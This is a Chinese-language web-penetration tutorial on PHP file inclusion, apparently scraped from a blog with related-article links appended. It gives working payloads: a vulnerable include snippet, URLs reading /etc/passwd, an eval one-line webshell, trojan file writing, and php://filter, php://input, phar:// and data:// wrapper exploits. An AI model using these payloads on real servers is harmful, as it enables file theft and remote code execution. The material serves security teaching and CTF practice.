本地文件包含

源代码

$filename=$_GET['filename'];
include $filename; // require include_once require_once
echo "欢迎来到php世界";

利用条件

  • php.ini 的 allow_url_fopen=On (默认开启)
  • 用户参数可控且后台代码没有对包含的文件进行过滤

利用方式

http://192.168.159.128/php/file.php?filename=ss.php&name=duyun
http://192.168.159.128/php/file.php?filename=/etc/passwd
http://192.168.159.128/php/file.php?filename=login.phtml

require、include包含文件都按照以PHP的后缀进行处理,按照PHP代码进行执行比如test.txt里面有小马,会进行执行代码

远程文件包含

利用条件

  • php.ini 的 allow_url_fopen=On (默认开启) 和 allow_url_include=On (默认关闭)
  • 用户参数可控且后台代码没有对包含的文件进行过滤

利用方法

//ss.php: echo @eval($_GET['code']);http://192.168.159.128/php/file.php?filename=https://www.baidu.com/
http://192.168.159.128/php/file.php?filename=ss.php&code=system("ip addr");

上传木马

file_put_contents("/opt/temp/muma.php",'<?php @eval($_GET[["code"]]);?>');http://192.168.159.128/php/file.php?filename=f.php

PHP伪协议

伪协议介绍

file://  - 访问本地文件系统
http://  -访问http(s)网页
ftp://   -访问ftp(s)URLS
php://   -访问各个输入输出流
zlib://  -压缩流
data://  -数据
glob://  -查找匹配的文件路径模式
phar://  -PHP 归档
ssh2://  -secure shell 2
rar://   -RAR
ogg://   -音频流
expect://-处理交互式的流

php://是一种伪协议,主要是开启了一个输入输出流,理解为文件数据传输的一个通道

常见的伪协议:php://input、php://filter、phar://

php://filter – 读取源码

打开数据流,把里面的内容以base64编码或者其他编码的方式读取出来

使用 convert.iconv.[]过滤器,[]中支持以下字符编码(* 表示该编码也可以在正则表达式中使用)

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
...
\\具体支持的编码可见php官方文档
\\https://www.php.net/manual/zh/mbstring.supported-encodings.php
php://filter/read/convert.base64-encode/resource=flag.php
php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

php://input – POST输入

需要打开allow_url_include=On 相当于一个文件包含的利用

php://打开文件流后,直接在流里面写入我们的恶意代码,此时执行恶意代码(POST请求)

<?php system('ip addr')?>

phar:// – 压缩文件

主要用于在php中对压缩文件格式的读取。通常配合文件上传漏洞使用

使用:把一句话木马压缩成zip格式,然后再上传到服务器

http://xxxxxx/xx/file=phar://shell.zip/shell.txt

要给目标服务器写入一个文件,直接上传至服务器或者进入命令行去攻击服务器上下载

zip://

也是对压缩文件的读取,和phar有区别

  • zip只能读取单级目录,phar支持多级
http://xxxxxx/xx/file=phar://shell.zip%23shell.txt

data://

本身是数据流封装器,其原理和用法和php://input相似,但是发送GET请求

data://text/plain,<?php phpinfo();?>
data://text/plain;base64,  (后面的?>要省去不写)

文件包含 -- Web渗透相关推荐

  1. ctfshow 文件包含 web 78 -117

    目录 web 78 web 79 web 80 web 81 web 82-86(环境暂时做不了) web 87 web 88 web 116 web 117 web 78 data://text/p ...

  2. 【web渗透】专栏文章汇总

    一.基础部分 web渗透–1–写在开始 web渗透–2–web安全原则(上) web渗透–3–web安全原则(下) web渗透–4–web渗透测试清单 web渗透–5–自动化漏洞扫描 web渗透–6– ...

  3. easy_yinkelude 简单的文件包含

    题目来源 题目来源于中学生CTF平台,地址:http://www.zxsctf.com/ 解题过程来自于中学生CTF论坛:easy_yinkelude 简单的文件包含 - Web 中学生CTF论坛   ...

  4. 【愚公系列】2023年05月 网络安全高级班 071.WEB渗透与安全(文件包含漏洞原理利用防御)

    文章目录 前言 一.文件包含漏洞原理利用防御 1.原理 1.1 简介 1.2 分类 1.3 代码 1.3.1 shell语句 1.3.2 包含语句 2.渗透 2.1 低安全级别 2.1.1 本地文件包 ...

  5. WEB渗透之文件包含漏洞

    1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...

  6. web渗透之文件包含漏洞-学习笔记分享

    文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含.         就是去其他 ...

  7. 【渗透测试】—如何利用文件包含的方式进行攻击

    目录 4.9. 文件包含 4.9.1. 基础 4.9.2. 触发Sink 4.9.3. 绕过技巧 4.9.3.1. url编码绕过 4.9.3.2. 特殊字符绕过 4.9.3.3. %00截断 4.9 ...

  8. web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示

    注(以下环境皆是自己在本机搭建,请勿在公网真实操作) 1.注入 1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶 ...

  9. web渗透之文件上传漏洞

    目录 一.原理 二.利用方式 三.文件上传的风险处 四.文件上传漏洞的危害 五.文件上传漏洞常见的绕过方式 1.前端绕过检测 2.mime类型检测绕过 3.黑名单绕过 (1).相似扩展名 (2).ap ...

最新文章

  1. MySQL配置文件mysql.ini参数详解
  2. django之ORM介绍与基本用法(一)
  3. [转]小白都能看懂的softmax详解
  4. php跳转分站,PHP判断IP并转跳到相应城市分站的方法
  5. java获取IP地址:
  6. Web框架——Flask系列之Jinja2自带过滤器(三)
  7. jmeter php网站,jmeter实战之phpwind随机回帖/发帖
  8. jmeter(十三)常见问题及解决方法
  9. C#按Esc后退出对话框
  10. OptiSystem 快捷键及使用技巧
  11. php 解析p2p节目源,P2P加速解析与伪一次解析源码教程
  12. HYSPLIT模式简介及使用
  13. matlab三极管名称,三极管常用型号大全(收藏)
  14. js 华氏/摄氏转换
  15. 【Visual C++】游戏开发四十八 浅墨DirectX教程十六 三维地形系统的实现
  16. 网络监控cacti1.2.12邮件报警(三)
  17. 现货黄金和纸黄金的区别?
  18. 今日头条留个人微信号或微信公众号的方法
  19. C#内存释放(垃圾回收)
  20. 获取token(/oauth/token)

热门文章

  1. Java的GC什么时候回收垃圾
  2. 中小企业容易面临哪些网络安全问题?
  3. 数据结构复习之循环链表
  4. 新加坡运输物流,中国到新加坡跨国集运,海运空运新加坡全境派送到您收货地址
  5. Facebook扎克伯格成功六大要素:执行力在列
  6. 关于Android适配华为等带有底部虚拟按键的解决方案
  7. 寻找失踪儿子的母亲,毒贩,与无人机的真实故事
  8. Google Android介绍..
  9. Java三目运算符失效空指针
  10. 2022年最后一天啦,那就好好告个别吧